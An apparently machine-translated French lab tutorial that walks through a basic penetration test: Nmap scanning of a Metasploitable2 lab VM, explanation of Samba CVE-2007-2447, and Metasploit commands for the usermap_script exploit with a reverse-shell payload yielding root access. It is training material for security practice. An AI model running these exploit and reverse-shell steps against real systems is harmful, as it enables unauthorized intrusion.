Effectuer un test d'intrusion avec Nmap et Metasploit

NmapNmapBeginner
Pratiquer maintenant

💡 Ce tutoriel est traduit par l'IA à partir de la version anglaise. Pour voir la version originale, vous pouvez cliquer ici

Introduction

Dans ce laboratoire, vous allez apprendre le processus de base du test de pénétration et effectuer une attaque pratique en utilisant Kali Linux. L'objectif est d'obtenir un accès à un shell distant sur un système cible vulnérable en exploitant une vulnérabilité connue de Samba. Ce laboratoire offre l'opportunité de comprendre les étapes impliquées dans un scénario de test de pénétration dans le monde réel et de pratiquer l'utilisation d'outils de sécurité populaires tels que Nmap et Metasploit.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/host_discovery("Host Discovery Techniques") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") nmap/NmapGroup -.-> nmap/os_version_detection("OS and Version Detection") nmap/NmapGroup -.-> nmap/service_detection("Service Detection") subgraph Lab Skills nmap/installation -.-> lab-416117{{"Effectuer un test d'intrusion avec Nmap et Metasploit"}} nmap/port_scanning -.-> lab-416117{{"Effectuer un test d'intrusion avec Nmap et Metasploit"}} nmap/host_discovery -.-> lab-416117{{"Effectuer un test d'intrusion avec Nmap et Metasploit"}} nmap/target_specification -.-> lab-416117{{"Effectuer un test d'intrusion avec Nmap et Metasploit"}} nmap/os_version_detection -.-> lab-416117{{"Effectuer un test d'intrusion avec Nmap et Metasploit"}} nmap/service_detection -.-> lab-416117{{"Effectuer un test d'intrusion avec Nmap et Metasploit"}} end

Configuration de l'environnement de laboratoire

Le test de pénétration implique généralement les étapes suivantes :

  1. Collecte d'informations : Rassemblez autant d'informations que possible sur le système cible, y compris les informations réseau, le contenu du site web, la structure des répertoires, les noms d'utilisateur potentiels, les ports ouverts, les services, les noms de domaine et les sous-domaines. Divers outils peuvent être utilisés à cette fin.

  2. Analyse des vulnérabilités : Utilisez des outils de scan pour effectuer un scan complet du système cible afin d'identifier les vulnérabilités. Des outils de scan automatisés sont disponibles, ou vous pouvez utiliser des outils manuels pour un scan ciblé de services spécifiques.

  3. Exploitation : Une fois les vulnérabilités exploitables identifiées, utilisez les outils et techniques appropriés pour obtenir un accès ou des privilèges de niveau supérieur sur le système cible. Cela peut impliquer l'exécution de code à distance, des attaques par injection ou d'autres méthodes.

  4. Maintien de l'accès : Créez une porte dérobée ou un mécanisme d'accès persistant sur le système cible pour faciliter l'accès ultérieur tout en évitant la détection.

  5. Rapport : Analysez les résultats et générez un rapport détaillant les vulnérabilités découvertes et les étapes suivies lors du processus de test de pénétration. Ce rapport peut aider l'organisation cible à sécuriser efficacement ses systèmes.

En résumé, après avoir compris les étapes de base du test de pénétration, il est temps de passer de la théorie à la pratique. Grâce à des exercices pratiques, nous pouvons appliquer les connaissances et les compétences acquises pour gagner une expérience pratique dans le domaine du test de pénétration.

Tout d'abord, vous devez configurer l'environnement de laboratoire pour pratiquer un scénario de test de pénétration.

L'environnement de laboratoire se compose de deux systèmes :

  1. Conteneur Kali Linux (Machine attaquante) : Il s'agit d'un conteneur Docker exécutant Kali Linux, qui sera utilisé pour effectuer l'attaque.

  2. Machine virtuelle Metasploitable2 (Machine cible) : Il s'agit d'un serveur Ubuntu vulnérable qui agit comme système cible.

Pour configurer l'environnement, suivez ces étapes :

  1. Démarrez la machine cible Metasploitable2 :
sudo virsh start Metasploitable2

Attendez que la machine cible démarre, cela peut prendre de 1 à 3 minutes.

  1. Effectuez un ping sur la machine cible pour vous assurer qu'elle est en cours d'exécution (utilisez Ctrl+C pour quitter) :
ping 192.168.122.102
  1. Démarrez le conteneur Kali Linux et entrez dans le shell Bash :
docker run -ti --network host b5b709a49cd5 bash
  1. Testez la connectivité réseau depuis le conteneur Kali en effectuant un ping sur la machine cible (utilisez Ctrl+C pour quitter) :
ping 192.168.122.102

Les machines attaquante et cible devraient maintenant être en cours d'exécution et accessibles. Vous êtes prêt à commencer le processus de test de pénétration.

Effectuer une analyse des vulnérabilités

Dans cette étape, vous utiliserez l'outil Nmap dans Kali Linux pour scanner le système cible à la recherche de ports ouverts et de services.

  1. Exécutez la commande Nmap suivante pour effectuer un scan complet et enregistrez la sortie dans le fichier /tmp/report.txt du conteneur Docker. Le scan peut prendre quelques minutes à se terminer :
nmap -p 1-65535 -T4 -A -v 192.168.122.102 > /tmp/report.txt

Voici ce que signifient les options :

  • -p 1-65535 : Scanner tous les ports
  • -T4 : Définir le modèle de temporisation (une valeur plus élevée signifie un scan plus rapide)
  • -A : Activer la détection du système d'exploitation et de la version
  • -v : Augmenter le niveau de verbosité
  • >/tmp/report.txt : Rediriger la sortie vers un fichier
  1. Attendez que le scan se termine (cela peut prendre quelques minutes).

  2. Analysez le rapport de scan en ouvrant le fichier /tmp/report.txt avec la commande cat :

cat /tmp/report.txt

Le rapport répertoriera les ports ouverts, les services et les versions exécutées sur le système cible.

  1. Identifiez les vulnérabilités potentielles associées aux services et aux versions découvertes lors du scan.

Dans ce cas, nous allons nous concentrer sur le service Samba, qui présente une vulnérabilité connue d'exécution de commandes à distance (CVE-2007-2447) dans la version exécutée sur le système Metasploitable2. Voici les détails de la vulnérabilité d'exécution de commandes à distance USERNAME MAP SCRIPT de Samba (CVE-2007-2447) :

  • CVE : CVE-2007-2447
  • Versions affectées : Samba 3.0.0 - 3.0.25rc3
  • Description de la vulnérabilité : La vulnérabilité réside dans la façon dont Samba gère l'option de configuration username map script. Lorsque cette option est activée, Samba ne nettoie pas correctement les entrées utilisateur avant de les passer au shell /bin/sh, permettant aux attaquants distants d'exécuter des commandes arbitraires en tant qu'utilisateur Samba.

La description officielle de la vulnérabilité de Samba peut être trouvée à l'adresse : http://samba.org/samba/security/CVE-2007-2447.html

Le module d'exploitation Metasploit que nous utiliserons pour exploiter cette vulnérabilité est exploit/multi/samba/usermap_script. Vous pouvez trouver le code source et les commentaires de ce module à l'adresse : https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/samba/usermap_script.rb

Exploiter la vulnérabilité à l'aide de Metasploit

Dans cette étape, vous utiliserez le Framework Metasploit pour exploiter la vulnérabilité USERNAME MAP SCRIPT de Samba et obtenir un accès à un shell distant sur le système cible.

  1. Démarrez la console Metasploit :
cd ~
msfconsole
  1. Chargez le module d'exploitation Samba dans la console Metasploit :
use exploit/multi/samba/usermap_script
  1. Définissez la charge utile (payload) sur cmd/unix/reverse dans la console Metasploit :
set payload cmd/unix/reverse
  1. Configurez l'adresse IP et le port de la cible dans la console Metasploit :
set RHOST 192.168.122.102
set RPORT 445
  1. Définissez l'adresse IP locale pour le shell inversé (reverse shell) dans la console Metasploit :
set LHOST 192.168.122.1
  1. Vérifiez les options dans la console Metasploit :
show options
  1. Exécutez l'exploitation dans la console Metasploit :
exploit

Si l'exploitation réussit, vous devriez avoir une session de shell distant en tant qu'utilisateur root sur le système cible.

  1. Une fois vos tests terminés, vous pouvez quitter le shell en appuyant sur Ctrl+C et en tapant exit pour revenir au conteneur Kali.

Résumé

Dans ce laboratoire, vous avez appris le processus de base du test de pénétration et avez acquis une expérience pratique en exécutant un scénario d'attaque réaliste. Vous avez configuré un environnement de laboratoire avec un système cible vulnérable, effectué une analyse des vulnérabilités à l'aide de Nmap, analysé une vulnérabilité connue de Samba et l'avez exploitée à l'aide du Framework Metasploit pour obtenir un accès à un shell distant. Cette expérience pratique vous aidera à mieux comprendre les techniques et les outils utilisés dans le test de pénétration, ainsi que l'importance des configurations sécurisées des systèmes et de la gestion des vulnérabilités.